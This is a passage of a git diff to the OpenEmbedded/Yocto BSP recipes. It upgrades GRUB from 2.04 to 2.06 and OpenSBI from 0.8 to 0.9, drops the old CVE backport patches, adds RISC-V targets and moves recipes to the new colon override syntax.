-where OP is grub_add, grub_sub or grub_mul. OP() returns true in the
-case where the operation would overflow and res is not modified.
-Otherwise, false is returned and the operation is executed.
-
-These arithmetic primitives require newer compiler versions. So, bump
-these requirements in the INSTALL file too.
-
-Upstream-Status: Backport [commit 68708c4503018d61dbcce7ac11cbb511d6425f4d
-from https://git.savannah.gnu.org/git/grub.git]
-
-Signed-off-by: Peter Jones <pjones@redhat.com>
-Reviewed-by: Daniel Kiper <daniel.kiper@oracle.com>
-[YL: omit the change to INSTALL from original patch]
-Signed-off-by: Yongxin Liu <yongxin.liu@windriver.com>
----
- include/grub/compiler.h | 8 ++++++++
- include/grub/safemath.h | 37 +++++++++++++++++++++++++++++++++++++
- 2 files changed, 45 insertions(+)
- create mode 100644 include/grub/safemath.h
-
-diff --git a/include/grub/compiler.h b/include/grub/compiler.h
-index c9e1d7a..8f3be3a 100644
---- a/include/grub/compiler.h
-+++ b/include/grub/compiler.h
-@@ -48,4 +48,12 @@
- # define WARN_UNUSED_RESULT
- #endif
-
-+#if defined(__clang__) && defined(__clang_major__) && defined(__clang_minor__)
-+# define CLANG_PREREQ(maj,min) \
-+ ((__clang_major__ > (maj)) || \
-+ (__clang_major__ == (maj) && __clang_minor__ >= (min)))
-+#else
-+# define CLANG_PREREQ(maj,min) 0
-+#endif
-+
- #endif /* ! GRUB_COMPILER_HEADER */
-diff --git a/include/grub/safemath.h b/include/grub/safemath.h
-new file mode 100644
-index 0000000..c17b89b
---- /dev/null
-+++ b/include/grub/safemath.h
-@@ -0,0 +1,37 @@
-+/*
-+ * GRUB -- GRand Unified Bootloader
-+ * Copyright (C) 2020 Free Software Foundation, Inc.
-+ *
-+ * GRUB is free software: you can redistribute it and/or modify
-+ * it under the terms of the GNU General Public License as published by
-+ * the Free Software Foundation, either version 3 of the License, or
-+ * (at your option) any later version.
-+ *
-+ * GRUB is distributed in the hope that it will be useful,
-+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-+ * GNU General Public License for more details.
-+ *
-+ * You should have received a copy of the GNU General Public License
-+ * along with GRUB. If not, see <http://www.gnu.org/licenses/>.
-+ *
-+ * Arithmetic operations that protect against overflow.
-+ */
-+
-+#ifndef GRUB_SAFEMATH_H
-+#define GRUB_SAFEMATH_H 1
-+
-+#include <grub/compiler.h>
-+
-+/* These appear in gcc 5.1 and clang 3.8. */
-+#if GNUC_PREREQ(5, 1) || CLANG_PREREQ(3, 8)
-+
-+#define grub_add(a, b, res) __builtin_add_overflow(a, b, res)
-+#define grub_sub(a, b, res) __builtin_sub_overflow(a, b, res)
-+#define grub_mul(a, b, res) __builtin_mul_overflow(a, b, res)
-+
-+#else
-+#error gcc 5.1 or newer or clang 3.8 or newer is required
-+#endif
-+
-+#endif /* GRUB_SAFEMATH_H */
---
-2.14.4
-
diff --git a/meta/recipes-bsp/grub/files/script-Remove-unused-fields-from-grub_script_functio.patch b/meta/recipes-bsp/grub/files/script-Remove-unused-fields-from-grub_script_functio.patch
deleted file mode 100644
index 84a80d5ffd..0000000000
--- a/meta/recipes-bsp/grub/files/script-Remove-unused-fields-from-grub_script_functio.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From e219bad8cee67b2bb21712df8f055706f8da25d2 Mon Sep 17 00:00:00 2001
-From: Chris Coulson <chris.coulson@canonical.com>
-Date: Fri, 10 Jul 2020 11:21:14 +0100
-Subject: [PATCH 7/9] script: Remove unused fields from grub_script_function
- struct
-
-Upstream-Status: Backport [commit 1a8d9c9b4ab6df7669b5aa36a56477f297825b96
-from https://git.savannah.gnu.org/git/grub.git]
-
-Signed-off-by: Chris Coulson <chris.coulson@canonical.com>
-Reviewed-by: Daniel Kiper <daniel.kiper@oracle.com>
-Signed-off-by: Yongxin Liu <yongxin.liu@windriver.com>
----
- include/grub/script_sh.h | 5 -----
- 1 file changed, 5 deletions(-)
-
-diff --git a/include/grub/script_sh.h b/include/grub/script_sh.h
-index 360c2be..b382bcf 100644
---- a/include/grub/script_sh.h
-+++ b/include/grub/script_sh.h
-@@ -359,13 +359,8 @@ struct grub_script_function
- /* The script function. */
- struct grub_script *func;
-
-- /* The flags. */
-- unsigned flags;
--
- /* The next element. */
- struct grub_script_function *next;
--
-- int references;
- };
- typedef struct grub_script_function *grub_script_function_t;
-
---
-2.14.4
-
diff --git a/meta/recipes-bsp/grub/grub-bootconf_1.00.bb b/meta/recipes-bsp/grub/grub-bootconf_1.00.bb
index 572580313b..783e30bf38 100644
--- a/meta/recipes-bsp/grub/grub-bootconf_1.00.bb
+++ b/meta/recipes-bsp/grub/grub-bootconf_1.00.bb
@@ -5,7 +5,7 @@ DESCRIPTION = "Grub might require different configuration file for \
different machines."
HOMEPAGE = "https://www.gnu.org/software/grub/manual/grub/grub.html#Configuration"
-RPROVIDES_${PN} += "virtual/grub-bootconf"
+RPROVIDES:${PN} += "virtual-grub-bootconf"
inherit grub-efi-cfg
@@ -29,4 +29,4 @@ do_install() {
install grub-bootconf ${D}${EFI_FILES_PATH}/grub.cfg
}
-FILES_${PN} = "${EFI_FILES_PATH}/grub.cfg"
+FILES:${PN} = "${EFI_FILES_PATH}/grub.cfg"
diff --git a/meta/recipes-bsp/grub/grub-efi_2.04.bb b/meta/recipes-bsp/grub/grub-efi_2.04.bb
deleted file mode 100644
index 30d95f95e0..0000000000
--- a/meta/recipes-bsp/grub/grub-efi_2.04.bb
+++ /dev/null
@@ -1,93 +0,0 @@
-require grub2.inc
-
-require conf/image-uefi.conf
-
-GRUBPLATFORM = "efi"
-
-DEPENDS_append = " grub-native"
-RDEPENDS_${PN} = "grub-common virtual/grub-bootconf"
-
-SRC_URI += " \
- file://cfg \
- "
-
-S = "${WORKDIR}/grub-${PV}"
-
-# Determine the target arch for the grub modules
-python __anonymous () {
- import re
- target = d.getVar('TARGET_ARCH')
- prefix = "" if d.getVar('EFI_PROVIDER') == "grub-efi" else "grub-efi-"
- if target == "x86_64":
- grubtarget = 'x86_64'
- elif re.match('i.86', target):
- grubtarget = 'i386'
- elif re.match('aarch64', target):
- grubtarget = 'arm64'
- elif re.match('arm', target):
- grubtarget = 'arm'
- else:
- raise bb.parse.SkipRecipe("grub-efi is incompatible with target %s" % target)
- grubimage = prefix + d.getVar("EFI_BOOT_IMAGE")
- d.setVar("GRUB_TARGET", grubtarget)
- d.setVar("GRUB_IMAGE", grubimage)
- prefix = "grub-efi-" if prefix == "" else ""
- d.setVar("GRUB_IMAGE_PREFIX", prefix)
-}
-
-inherit deploy
-
-CACHED_CONFIGUREVARS += "ac_cv_path_HELP2MAN="
-EXTRA_OECONF += "--enable-efiemu=no"
-
-do_mkimage() {
- cd ${B}
- # Search for the grub.cfg on the local boot media by using the
- # built in cfg file provided via this recipe
- grub-mkimage -c ../cfg -p ${EFIDIR} -d ./grub-core/ \
- -O ${GRUB_TARGET}-efi -o ./${GRUB_IMAGE_PREFIX}${GRUB_IMAGE} \
- ${GRUB_BUILDIN}
-}
-
-addtask mkimage before do_install after do_compile
-
-do_install() {
- oe_runmake 'DESTDIR=${D}' -C grub-core install
-
- # Remove build host references...
- find "${D}" -name modinfo.sh -type f -exec \
- sed -i \
- -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
- {} +
-
- install -d ${D}${EFI_FILES_PATH}
- install -m 644 ${B}/${GRUB_IMAGE_PREFIX}${GRUB_IMAGE} ${D}${EFI_FILES_PATH}/${GRUB_IMAGE}
-}
-
-do_install_append_aarch64() {
- rm -rf ${D}/${prefix}/
-}
-
-GRUB_BUILDIN ?= "boot linux ext2 fat serial part_msdos part_gpt normal \
- efi_gop iso9660 configfile search loadenv test"
-
-do_deploy() {
- install -m 644 ${B}/${GRUB_IMAGE_PREFIX}${GRUB_IMAGE} ${DEPLOYDIR}
-}
-
-addtask deploy after do_install before do_build
-
-FILES_${PN} = "${libdir}/grub/${GRUB_TARGET}-efi \
- ${datadir}/grub \
- ${EFI_FILES_PATH}/${GRUB_IMAGE} \
- "
-
-FILES_${PN}_remove_aarch64 = "${libdir}/grub/${GRUB_TARGET}-efi"
-
-# 64-bit binaries are expected for the bootloader with an x32 userland
-INSANE_SKIP_${PN}_append_linux-gnux32 = " arch"
-INSANE_SKIP_${PN}-dbg_append_linux-gnux32 = " arch"
-INSANE_SKIP_${PN}_append_linux-muslx32 = " arch"
-INSANE_SKIP_${PN}-dbg_append_linux-muslx32 = " arch"
diff --git a/meta/recipes-bsp/grub/grub-efi_2.06.bb b/meta/recipes-bsp/grub/grub-efi_2.06.bb
new file mode 100644
index 0000000000..a8cc209a02
--- /dev/null
+++ b/meta/recipes-bsp/grub/grub-efi_2.06.bb
@@ -0,0 +1,91 @@
+require grub2.inc
+
+require conf/image-uefi.conf
+
+GRUBPLATFORM = "efi"
+
+DEPENDS:append = " grub-native"
+RDEPENDS:${PN} = "grub-common virtual-grub-bootconf"
+
+SRC_URI += " \
+ file://cfg \
+ "
+
+S = "${WORKDIR}/grub-${PV}"
+
+# Determine the target arch for the grub modules
+python __anonymous () {
+ import re
+ target = d.getVar('TARGET_ARCH')
+ prefix = "" if d.getVar('EFI_PROVIDER') == "grub-efi" else "grub-efi-"
+ if target == "x86_64":
+ grubtarget = 'x86_64'
+ elif re.match('i.86', target):
+ grubtarget = 'i386'
+ elif re.match('aarch64', target):
+ grubtarget = 'arm64'
+ elif re.match('arm', target):
+ grubtarget = 'arm'
+ elif re.match('riscv64', target):
+ grubtarget = 'riscv64'
+ elif re.match('riscv32', target):
+ grubtarget = 'riscv32'
+ else:
+ raise bb.parse.SkipRecipe("grub-efi is incompatible with target %s" % target)
+ grubimage = prefix + d.getVar("EFI_BOOT_IMAGE")
+ d.setVar("GRUB_TARGET", grubtarget)
+ d.setVar("GRUB_IMAGE", grubimage)
+ prefix = "grub-efi-" if prefix == "" else ""
+ d.setVar("GRUB_IMAGE_PREFIX", prefix)
+}
+
+inherit deploy
+
+CACHED_CONFIGUREVARS += "ac_cv_path_HELP2MAN="
+EXTRA_OECONF += "--enable-efiemu=no"
+
+do_mkimage() {
+ cd ${B}
+ # Search for the grub.cfg on the local boot media by using the
+ # built in cfg file provided via this recipe
+ grub-mkimage -c ../cfg -p ${EFIDIR} -d ./grub-core/ \
+ -O ${GRUB_TARGET}-efi -o ./${GRUB_IMAGE_PREFIX}${GRUB_IMAGE} \
+ ${GRUB_BUILDIN}
+}
+
+addtask mkimage before do_install after do_compile
+
+do_install() {
+ oe_runmake 'DESTDIR=${D}' -C grub-core install
+
+ # Remove build host references...
+ find "${D}" -name modinfo.sh -type f -exec \
+ sed -i \
+ -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
+ {} +
+
+ install -d ${D}${EFI_FILES_PATH}
+ install -m 644 ${B}/${GRUB_IMAGE_PREFIX}${GRUB_IMAGE} ${D}${EFI_FILES_PATH}/${GRUB_IMAGE}
+}
+
+GRUB_BUILDIN ?= "boot linux ext2 fat serial part_msdos part_gpt normal \
+ efi_gop iso9660 configfile search loadenv test"
+
+do_deploy() {
+ install -m 644 ${B}/${GRUB_IMAGE_PREFIX}${GRUB_IMAGE} ${DEPLOYDIR}
+}
+
+addtask deploy after do_install before do_build
+
+FILES:${PN} = "${libdir}/grub/${GRUB_TARGET}-efi \
+ ${datadir}/grub \
+ ${EFI_FILES_PATH}/${GRUB_IMAGE} \
+ "
+
+# 64-bit binaries are expected for the bootloader with an x32 userland
+INSANE_SKIP:${PN}:append:linux-gnux32 = " arch"
+INSANE_SKIP:${PN}-dbg:append:linux-gnux32 = " arch"
+INSANE_SKIP:${PN}:append:linux-muslx32 = " arch"
+INSANE_SKIP:${PN}-dbg:append:linux-muslx32 = " arch"
diff --git a/meta/recipes-bsp/grub/grub2.inc b/meta/recipes-bsp/grub/grub2.inc
index ff17dbe8b7..bb791347dc 100644
--- a/meta/recipes-bsp/grub/grub2.inc
+++ b/meta/recipes-bsp/grub/grub2.inc
@@ -18,34 +18,34 @@ SRC_URI = "${GNU_MIRROR}/grub/grub-${PV}.tar.gz \
file://autogen.sh-exclude-pc.patch \
file://grub-module-explicitly-keeps-symbole-.module_license.patch \
file://0001-grub.d-10_linux.in-add-oe-s-kernel-name.patch \
- file://CVE-2020-10713.patch \
- file://calloc-Make-sure-we-always-have-an-overflow-checking.patch \
- file://lvm-Add-LVM-cache-logical-volume-handling.patch \
- file://CVE-2020-14308-calloc-Use-calloc-at-most-places.patch \
- file://safemath-Add-some-arithmetic-primitives-that-check-f.patch \
- file://CVE-2020-14309-CVE-2020-14310-CVE-2020-14311-malloc-Use-overflow-checking-primitives-where-we-do-.patch \
- file://script-Remove-unused-fields-from-grub_script_functio.patch \
- file://CVE-2020-15706-script-Avoid-a-use-after-free-when-redefining-a-func.patch \
- file://CVE-2020-15707-linux-Fix-integer-overflows-in-initrd-size-handling.patch \
+ file://determinism.patch \
+ file://0001-RISC-V-Restore-the-typcast-to-long.patch \
"
-SRC_URI[md5sum] = "5ce674ca6b2612d8939b9e6abed32934"
-SRC_URI[sha256sum] = "f10c85ae3e204dbaec39ae22fa3c5e99f0665417e91c2cb49b7e5031658ba6ea"
+
+SRC_URI[sha256sum] = "23b64b4c741569f9426ed2e3d0e6780796fca081bee4c99f62aa3f53ae803f5f"
+
+# Applies only to RHEL
+CVE_CHECK_WHITELIST += "CVE-2019-14865"
DEPENDS = "flex-native bison-native gettext-native"
-COMPATIBLE_HOST = '(x86_64.*|i.86.*|arm.*|aarch64.*)-(linux.*|freebsd.*)'
-COMPATIBLE_HOST_armv7a = 'null'
-COMPATIBLE_HOST_armv7ve = 'null'
+COMPATIBLE_HOST = '(x86_64.*|i.86.*|arm.*|aarch64.*|riscv.*)-(linux.*|freebsd.*)'
+COMPATIBLE_HOST:armv7a = 'null'
+COMPATIBLE_HOST:armv7ve = 'null'
# configure.ac has code to set this automagically from the target tuple
# but the OE freeform one (core2-foo-bar-linux) don't work with that.
-GRUBPLATFORM_arm = "efi"
-GRUBPLATFORM_aarch64 = "efi"
+GRUBPLATFORM:arm = "efi"
+GRUBPLATFORM:aarch64 = "efi"
+GRUBPLATFORM:riscv32 = "efi"
+GRUBPLATFORM:riscv64 = "efi"
GRUBPLATFORM ??= "pc"
inherit autotools gettext texinfo pkgconfig
+CFLAGS:remove = "-O2"
+
EXTRA_OECONF = "--with-platform=${GRUBPLATFORM} \
--disable-grub-mkfont \
--program-prefix="" \
@@ -70,7 +70,7 @@ BUILD_LDFLAGS = ""
export PYTHON = "python3"
-do_configure_prepend() {
+do_configure:prepend() {
cd ${S}
FROM_BOOTSTRAP=1 ${S}/autogen.sh
cd ${B}
diff --git a/meta/recipes-bsp/grub/grub_2.04.bb b/meta/recipes-bsp/grub/grub_2.04.bb
deleted file mode 100644
index f2942b9e37..0000000000
--- a/meta/recipes-bsp/grub/grub_2.04.bb
+++ /dev/null
@@ -1,38 +0,0 @@
-require grub2.inc
-
-RDEPENDS_${PN}-common += "${PN}-editenv"
-RDEPENDS_${PN} += "${PN}-common"
-RDEPENDS_${PN}_class-native = ""
-
-RPROVIDES_${PN}-editenv += "${PN}-efi-editenv"
-
-PROVIDES_append_class-native = " grub-efi-native"
-
-PACKAGES =+ "${PN}-editenv ${PN}-common"
-FILES_${PN}-editenv = "${bindir}/grub-editenv"
-FILES_${PN}-common = " \
- ${bindir} \
- ${sysconfdir} \
- ${sbindir} \
- ${datadir}/grub \
-"
-
-FILES_${PN}-common_append_aarch64 = " \
- ${libdir}/${BPN} \
-"
-
-do_install_append () {
- install -d ${D}${sysconfdir}/grub.d
- # Remove build host references...
- find "${D}" -name modinfo.sh -type f -exec \
- sed -i \
- -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
- {} +
-}
-
-INSANE_SKIP_${PN} = "arch"
-INSANE_SKIP_${PN}-dbg = "arch"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-bsp/grub/grub_2.06.bb b/meta/recipes-bsp/grub/grub_2.06.bb
new file mode 100644
index 0000000000..05d462785c
--- /dev/null
+++ b/meta/recipes-bsp/grub/grub_2.06.bb
@@ -0,0 +1,41 @@
+require grub2.inc
+
+RDEPENDS:${PN}-common += "${PN}-editenv"
+RDEPENDS:${PN} += "${PN}-common"
+RDEPENDS:${PN}:class-native = ""
+
+RPROVIDES:${PN}-editenv += "${PN}-efi-editenv"
+
+PROVIDES:append:class-native = " grub-efi-native"
+
+PACKAGES =+ "${PN}-editenv ${PN}-common"
+FILES:${PN}-editenv = "${bindir}/grub-editenv"
+FILES:${PN}-common = " \
+ ${bindir} \
+ ${sysconfdir} \
+ ${sbindir} \
+ ${datadir}/grub \
+"
+ALLOW_EMPTY:${PN} = "1"
+
+do_install:append () {
+ # Avoid conflicts with the EFI package for systems such as arm64 where we
+ # need to build grub and grub-efi but only EFI is supported by removing EFI
+ # from this package.
+ rm -rf ${D}${libdir}/grub/*-efi/
+ rmdir --ignore-fail-on-non-empty ${D}${libdir}/grub ${D}${libdir}
+
+ install -d ${D}${sysconfdir}/grub.d
+ # Remove build host references...
+ find "${D}" -name modinfo.sh -type f -exec \
+ sed -i \
+ -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
+ {} +
+}
+
+INSANE_SKIP:${PN} = "arch"
+INSANE_SKIP:${PN}-dbg = "arch"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-bsp/keymaps/keymaps_1.0.bb b/meta/recipes-bsp/keymaps/keymaps_1.0.bb
index 24b13f920f..091bcc6091 100644
--- a/meta/recipes-bsp/keymaps/keymaps_1.0.bb
+++ b/meta/recipes-bsp/keymaps/keymaps_1.0.bb
@@ -2,7 +2,7 @@ SUMMARY = "Keyboard maps"
DESCRIPTION = "Keymaps and initscript to set the keymap on bootup."
SECTION = "base"
-RDEPENDS_${PN} = "kbd"
+RDEPENDS:${PN} = "kbd"
LICENSE = "GPLv2"
LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
@@ -37,8 +37,8 @@ do_install () {
fi
}
-PACKAGE_WRITE_DEPS_append = " ${@bb.utils.contains('DISTRO_FEATURES','systemd sysvinit','systemd-systemctl-native','',d)}"
-pkg_postinst_${PN} () {
+PACKAGE_WRITE_DEPS:append = " ${@bb.utils.contains('DISTRO_FEATURES','systemd sysvinit','systemd-systemctl-native','',d)}"
+pkg_postinst:${PN} () {
if ${@bb.utils.contains('DISTRO_FEATURES','systemd sysvinit','true','false',d)}; then
if [ -n "$D" ]; then
OPTS="--root=$D"
@@ -47,4 +47,4 @@ pkg_postinst_${PN} () {
fi
}
-ALLOW_EMPTY_${PN} = "1"
+ALLOW_EMPTY:${PN} = "1"
diff --git a/meta/recipes-bsp/lrzsz/lrzsz-0.12.20/0001-Fix-cross-compilation-using-autoconf-detected-AR.patch b/meta/recipes-bsp/lrzsz/lrzsz-0.12.20/0001-Fix-cross-compilation-using-autoconf-detected-AR.patch
index 47c7ec4170..c8f0e2c4fe 100644
--- a/meta/recipes-bsp/lrzsz/lrzsz-0.12.20/0001-Fix-cross-compilation-using-autoconf-detected-AR.patch
+++ b/meta/recipes-bsp/lrzsz/lrzsz-0.12.20/0001-Fix-cross-compilation-using-autoconf-detected-AR.patch
@@ -6,7 +6,7 @@ Subject: [PATCH] Fix cross compilation using autoconf detected AR
currently its using 'ar' program from build host, which is not expected,
we need to respect AR passed in environment
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [upstream hasn't been active since 1998]
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
diff --git a/meta/recipes-bsp/lrzsz/lrzsz-0.12.20/autotools-update.patch b/meta/recipes-bsp/lrzsz/lrzsz-0.12.20/autotools-update.patch
index 33af38b4a8..ebd4a88081 100644
--- a/meta/recipes-bsp/lrzsz/lrzsz-0.12.20/autotools-update.patch
+++ b/meta/recipes-bsp/lrzsz/lrzsz-0.12.20/autotools-update.patch
@@ -1,6 +1,6 @@
Update autotools infrastructure (including gettext) to modern versions.
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [upstream hasn't been active since 1998]
Signed-off-by: Phil Blundell <pb@pbcl.net>
diff -uprN clean/lrzsz-0.12.20/configure.in lrzsz-0.12.20/configure.in
diff --git a/meta/recipes-bsp/lrzsz/lrzsz_0.12.20.bb b/meta/recipes-bsp/lrzsz/lrzsz_0.12.20.bb
index 54c431eeb3..5f383319e2 100644
--- a/meta/recipes-bsp/lrzsz/lrzsz_0.12.20.bb
+++ b/meta/recipes-bsp/lrzsz/lrzsz_0.12.20.bb
@@ -38,7 +38,7 @@ inherit update-alternatives
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "rz rx rb sz sx sb"
+ALTERNATIVE:${PN} = "rz rx rb sz sx sb"
ALTERNATIVE_TARGET[rz] = "${bindir}/lrz"
ALTERNATIVE_TARGET[rx] = "${bindir}/lrz"
diff --git a/meta/recipes-bsp/opensbi/opensbi-payloads.inc b/meta/recipes-bsp/opensbi/opensbi-payloads.inc
index 2e32943245..e590a27573 100644
--- a/meta/recipes-bsp/opensbi/opensbi-payloads.inc
+++ b/meta/recipes-bsp/opensbi/opensbi-payloads.inc
@@ -7,15 +7,30 @@ def riscv_get_extra_oemake_image(d):
return "FW_PAYLOAD_PATH=" + deploy_dir + "/" + sbi_payload
+def riscv_get_extra_oemake_fdt(d):
+ sbi_fdt = d.getVar('RISCV_SBI_FDT')
+ deploy_dir = d.getVar('DEPLOY_DIR_IMAGE')
+
+ if sbi_fdt is None:
+ return ""
+
+ return "FW_FDT_PATH=" + deploy_dir + "/" + sbi_fdt
+
def riscv_get_do_compile_depends(d):
- sbi_payload = d.getVar('RISCV_SBI_PAYLOAD')
+ sbi_payload = d.getVar('RISCV_SBI_PAYLOAD') or ""
+ sbi_fdt = d.getVar('RISCV_SBI_FDT') or ""
- if sbi_payload is None:
+ if sbi_payload == "" and sbi_fdt == "":
return ""
+ if sbi_fdt != "" and 'u-boot.bin' in sbi_payload:
+ return "virtual/kernel:do_deploy virtual/bootloader:do_deploy"
+
if 'linux' in sbi_payload or 'Image' in sbi_payload:
return "virtual/kernel:do_deploy"
if 'u-boot.bin' in sbi_payload:
return "virtual/bootloader:do_deploy"
+ if sbi_fdt != "":
+ return "virtual/kernel:do_deploy"
return ""
diff --git a/meta/recipes-bsp/opensbi/opensbi_0.8.bb b/meta/recipes-bsp/opensbi/opensbi_0.8.bb
deleted file mode 100644
index 818efac733..0000000000
--- a/meta/recipes-bsp/opensbi/opensbi_0.8.bb
+++ /dev/null
@@ -1,47 +0,0 @@
-SUMMARY = "RISC-V Open Source Supervisor Binary Interface (OpenSBI)"
-DESCRIPTION = "OpenSBI aims to provide an open-source and extensible implementation of the RISC-V SBI specification for a platform specific firmware (M-mode) and a general purpose OS, hypervisor or bootloader (S-mode or HS-mode). OpenSBI implementation can be easily extended by RISC-V platform or System-on-Chip vendors to fit a particular hadware configuration."
-LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://COPYING.BSD;md5=42dd9555eb177f35150cf9aa240b61e5"
-
-require opensbi-payloads.inc
-
-inherit autotools-brokensep deploy
-
-SRCREV = "a98258d0b537a295f517bbc8d813007336731fa9"
-SRC_URI = "git://github.com/riscv/opensbi.git;branch=master \
- file://0001-Makefile-Don-t-specify-mabi-or-march.patch \
- "
-
-S = "${WORKDIR}/git"
-
-EXTRA_OEMAKE += "PLATFORM=${RISCV_SBI_PLAT} I=${D}"
-# If RISCV_SBI_PAYLOAD is set then include it as a payload
-EXTRA_OEMAKE_append = " ${@riscv_get_extra_oemake_image(d)}"
-
-# Required if specifying a custom payload
-do_compile[depends] += "${@riscv_get_do_compile_depends(d)}"
-
-do_install_append() {
- # In the future these might be required as a dependency for other packages.
- # At the moment just delete them to avoid warnings
- rm -r ${D}/include
- rm -r ${D}/lib*
- rm -r ${D}/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/payloads
-}
-
-do_deploy () {
- install -m 755 ${D}/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/fw_payload.* ${DEPLOYDIR}/
- install -m 755 ${D}/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/fw_jump.* ${DEPLOYDIR}/
- install -m 755 ${D}/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/fw_dynamic.* ${DEPLOYDIR}/
-}
-
-addtask deploy before do_build after do_install
-
-FILES_${PN} += "/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/fw_jump.*"
-FILES_${PN} += "/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/fw_payload.*"
-FILES_${PN} += "/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/fw_dynamic.*"
-
-COMPATIBLE_HOST = "(riscv64|riscv32).*"
-INHIBIT_PACKAGE_STRIP = "1"
-
-SECURITY_CFLAGS = ""
diff --git a/meta/recipes-bsp/opensbi/opensbi_0.9.bb b/meta/recipes-bsp/opensbi/opensbi_0.9.bb
new file mode 100644
index 0000000000..1956fbf9ff
--- /dev/null
+++ b/meta/recipes-bsp/opensbi/opensbi_0.9.bb
@@ -0,0 +1,49 @@
+SUMMARY = "RISC-V Open Source Supervisor Binary Interface (OpenSBI)"
+DESCRIPTION = "OpenSBI aims to provide an open-source and extensible implementation of the RISC-V SBI specification for a platform specific firmware (M-mode) and a general purpose OS, hypervisor or bootloader (S-mode or HS-mode). OpenSBI implementation can be easily extended by RISC-V platform or System-on-Chip vendors to fit a particular hadware configuration."
+HOMEPAGE = "https://github.com/riscv/opensbi"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING.BSD;md5=42dd9555eb177f35150cf9aa240b61e5"
+
+require opensbi-payloads.inc
+
+inherit autotools-brokensep deploy
+
+SRCREV = "234ed8e427f4d92903123199f6590d144e0d9351"
+SRC_URI = "git://github.com/riscv/opensbi.git;branch=master;protocol=https \
+ file://0001-Makefile-Don-t-specify-mabi-or-march.patch \
+ "
+
+S = "${WORKDIR}/git"
+
+EXTRA_OEMAKE += "PLATFORM=${RISCV_SBI_PLAT} I=${D} FW_PIC=n"
+# If RISCV_SBI_PAYLOAD is set then include it as a payload
+EXTRA_OEMAKE:append = " ${@riscv_get_extra_oemake_image(d)}"
+EXTRA_OEMAKE:append = " ${@riscv_get_extra_oemake_fdt(d)}"
+
+# Required if specifying a custom payload
+do_compile[depends] += "${@riscv_get_do_compile_depends(d)}"
+
+do_install:append() {
+ # In the future these might be required as a dependency for other packages.
+ # At the moment just delete them to avoid warnings
+ rm -r ${D}/include
+ rm -r ${D}/lib*
+ rm -r ${D}/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/payloads
+}
+
+do_deploy () {
+ install -m 755 ${D}/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/fw_payload.* ${DEPLOYDIR}/
+ install -m 755 ${D}/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/fw_jump.* ${DEPLOYDIR}/
+ install -m 755 ${D}/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/fw_dynamic.* ${DEPLOYDIR}/
+}
+
+addtask deploy before do_build after do_install
+
+FILES:${PN} += "/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/fw_jump.*"
+FILES:${PN} += "/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/fw_payload.*"
+FILES:${PN} += "/share/opensbi/*/${RISCV_SBI_PLAT}/firmware/fw_dynamic.*"
+
+COMPATIBLE_HOST = "(riscv64|riscv32).*"
+INHIBIT_PACKAGE_STRIP = "1"
+
+SECURITY_CFLAGS = ""
diff --git a/meta/recipes-bsp/pciutils/pciutils_3.7.0.bb b/meta/recipes-bsp/pciutils/pciutils_3.7.0.bb
index 4f0edc01ed..3afa521597 100644
--- a/meta/recipes-bsp/pciutils/pciutils_3.7.0.bb
+++ b/meta/recipes-bsp/pciutils/pciutils_3.7.0.bb
@@ -52,8 +52,8 @@ do_install () {
}
PACKAGES =+ "${PN}-ids libpci"
-FILES_${PN}-ids = "${datadir}/pci.ids*"
-FILES_libpci = "${libdir}/libpci.so.*"
-SUMMARY_${PN}-ids = "PCI utilities - device ID database"
-DESCRIPTION_${PN}-ids = "Package providing the PCI device ID database for pciutils."
-RDEPENDS_${PN} += "${PN}-ids"
+FILES:${PN}-ids = "${datadir}/pci.ids*"
+FILES:libpci = "${libdir}/libpci.so.*"
+SUMMARY:${PN}-ids = "PCI utilities - device ID database"
+DESCRIPTION:${PN}-ids = "Package providing the PCI device ID database for pciutils."
+RDEPENDS:${PN} += "${PN}-ids"
diff --git a/meta/recipes-bsp/pm-utils/pm-utils_1.4.1.bb b/meta/recipes-bsp/pm-utils/pm-utils_1.4.1.bb
index cac09101c4..0f6d3ff7cb 100644
--- a/meta/recipes-bsp/pm-utils/pm-utils_1.4.1.bb
+++ b/meta/recipes-bsp/pm-utils/pm-utils_1.4.1.bb
@@ -17,11 +17,11 @@ inherit pkgconfig autotools manpages
PACKAGECONFIG[manpages] = "--enable-doc, --disable-doc, libxslt-native xmlto-native"
-RDEPENDS_${PN} = "grep bash"
+RDEPENDS:${PN} = "grep bash"
-do_configure_prepend () {
+do_configure:prepend () {
( cd ${S}; autoreconf -f -i -s )
}
-FILES_${PN} += "${libdir}/${BPN}/*"
